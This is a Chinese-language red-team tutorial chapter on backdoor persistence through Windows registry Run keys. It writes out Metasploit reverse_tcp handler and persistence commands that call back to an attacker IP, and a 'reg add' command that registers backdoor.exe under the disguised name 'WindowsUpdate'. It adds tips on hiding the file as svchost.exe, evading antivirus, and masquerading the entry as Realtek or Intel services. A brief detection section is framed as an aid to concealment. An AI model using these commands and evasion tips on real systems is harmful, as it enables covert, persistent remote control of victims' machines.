一、注册表RUN键值:最经典的自启动后门
持久化控制,说白了就是让后门程序在目标机器上「赖着不走」。哪怕管理员重启系统、注销登录,后门依然能自动运行。Windows下实现持久化的方式很多,但注册表RUN键值绝对是最经典、最基础的一种。
我个人习惯把注册表RUN键值比作「Windows的自动启动文件夹」。你放个程序进去,系统启动时就会自动加载它。攻击者利用这个机制,就能实现后门的开机自启动。
1.1 注册表RUN键值的位置
Windows注册表中有几个关键位置,专门用来存放开机自启动的程序。我整理了一下,主要有以下两个路径:
| 注册表路径 | 作用范围 | 说明 |
|---|---|---|
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
当前用户 | 只对当前登录用户生效 |
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
所有用户 | 对所有登录用户生效,权限要求更高 |
嗯,这里要注意:HKEY_LOCAL_MACHINE下的RUN键需要管理员权限才能写入。如果你拿到的shell是普通用户权限,那就只能写HKEY_CURRENT_USER了。
1.2 Metasploit中的实现方式
在Metasploit里,实现注册表RUN键值持久化非常简单。我常用的模块是exploit/windows/local/persistence,或者直接用post/windows/manage/persistence_exe。
先看一个最直接的例子:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j
# 拿到Meterpreter会话后,执行持久化
run persistence -X -i 10 -p 4444 -r 192.168.1.100
这里的参数我解释一下:
-X:表示写入注册表RUN键值(自动启动)-i 10:每隔10秒尝试连接一次(重连间隔)-p 4444:目标端口-r 192.168.1.100:你的IP地址
执行完这条命令,Metasploit会自动生成一个VBS脚本,放到目标机器的临时目录下,然后在注册表RUN键里添加一个指向该脚本的条目。
核心逻辑:注册表RUN键 → 指向VBS脚本 → VBS脚本加载Payload → 建立反向连接
1.3 手动操作:注册表写入后门
有时候自动化工具会触发杀软,我更喜欢手动操作。说白了,就是自己写注册表项。
假设你已经把后门程序backdoor.exe上传到了目标机器的C:\Windows\Temp\目录下。接下来手动添加注册表项:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
这条命令的意思是:在HKCU\...\Run下新建一个名为WindowsUpdate的字符串值,值的内容是后门程序的路径。
为什么要起名叫WindowsUpdate?我在项目中遇到过,很多管理员看到这个名字会以为是系统更新服务,不会起疑心。你想想看,如果叫HackerBackdoor,那不是明摆着告诉别人「我是后门」吗?
1.4 避坑指南:我踩过的那些坑
我曾经在一次红队演练中,用注册表RUN键做了持久化,结果第二天发现后门全没了。排查了半天,原来是目标机器装了某款杀软,它监控了注册表RUN键的写入行为。
这里总结几个常见问题:
- 杀软拦截:很多杀软会监控
Run键的写入。解决办法是改用RunOnce键(只运行一次),或者用其他持久化方式配合使用。 - 权限不足:普通用户只能写
HKCU,写不了HKLM。如果目标用户权限低,后门只对当前用户生效。 - 路径隐藏:不要把后门放在明显的位置,比如桌面。我习惯放在
%APPDATA%或%TEMP%目录下,文件名伪装成系统文件,比如svchost.exe或conhost.exe。 - 重连间隔:间隔太短容易被发现,太长又影响控制效率。我个人习惯设成30-60秒。
警告:注册表RUN键是最容易被检测的持久化方式之一。如果目标环境有EDR或高级杀软,建议配合其他技术使用,比如DLL劫持或服务持久化。
1.5 知识体系:注册表RUN键持久化核心逻辑
下面这张图展示了注册表RUN键持久化的完整流程:
1.6 检测与清除
作为红队,我们不仅要会「攻」,还要懂「防」。了解检测方法,才能更好地隐藏自己。
检测注册表RUN键后门的方法:
- 使用
reg query命令查看:reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run - 使用Sysinternals工具
Autoruns,它能列出所有自启动项 - 查看任务管理器中的「启动」选项卡
清除方法也很简单:
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f
小技巧:如果你想让后门更隐蔽,可以尝试把值名伪装成系统服务的名称,比如RtkAudUService(Realtek音频服务)或IntelGraphics。管理员看到这些名字,大概率不会去深究。
1.7 实战总结
注册表RUN键持久化,是每个红队工程师必须掌握的基础技能。它简单、直接、有效,但也容易被检测。我个人建议把它作为持久化的「第一道防线」,配合其他技术一起使用。
记住几个关键点:
- 权限决定你能写哪个注册表路径
- 伪装名字和路径是生存的关键
- 重连间隔要合理,别太频繁
- 杀软和EDR是最大的敌人
好了,这一章的内容就到这里。注册表RUN键虽然基础,但用好它,你就能在目标机器上站稳脚跟。